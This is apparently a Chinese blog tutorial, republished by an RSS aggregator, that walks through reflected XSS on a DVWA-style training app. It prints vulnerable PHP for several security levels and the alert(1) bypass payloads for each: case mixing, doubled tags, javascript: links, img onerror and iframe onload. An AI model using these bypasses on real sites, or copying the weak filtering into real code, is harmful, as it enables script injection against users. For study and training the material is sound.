

























请注意,本文编写于 815 天前,最后修改于 801 天前,其中某些信息可能已经过时。
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
反射型XSS攻击需要具备以下条件:

<?php header ("X-XSS-Protection: 0"); // arrary_key_exists()函数:判断$_GET的值中是否存在“name”键名 //并且$_GET[‘name’]的值是否不为空,满足这些条件,直接输出下面的输出语句 if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
服务器只是判断了 name 参数是否为空,如果不为空的话就直接打印出来。服务器并没有对 name 参数做任何的过滤和检查。
(1)直接使用 <script>alert(1)</script> 进行尝试

<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input //将输入中的<script>替换为空字符串 $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
(1)使用了str_replace检查 name 参数中是否有 < script >,如果有则替换为空,也就是说过滤掉了<script>这个标签。但是str_replace是区分大小写的,因此可以使用大小写绕过。
<sCript>alert(1)</ScRipt>
(2)除了使用大小写绕过,还可以使用双写绕过
<sc<script>ript>alert(1)</script>
(3)还可以使用一种"奇淫巧计"
<a href="javascript:alert(1)">is</a>
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } ?>
preg_replace() 函数执行一个正则表达式的搜索和替换,* 代表一个或多个任意字符,i 代表不区分大小写。也就是说 < script > 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入JS攻击脚本。
<img src = 1 onerror = alert(1)> <iframe onload="alert(1)"></iframe>


<?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true; } else { $html .= '<pre>'; $html .= 'Hello ' . htmlspecialchars($_GET['name']); $html .= '</pre>'; }
根据@Fgaoxing想出的url转义,使用%3cscript%3ealert(1)%3c/script%3e依然无法绕过
最新版本使用了一个替换< >的函数,目前无解
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。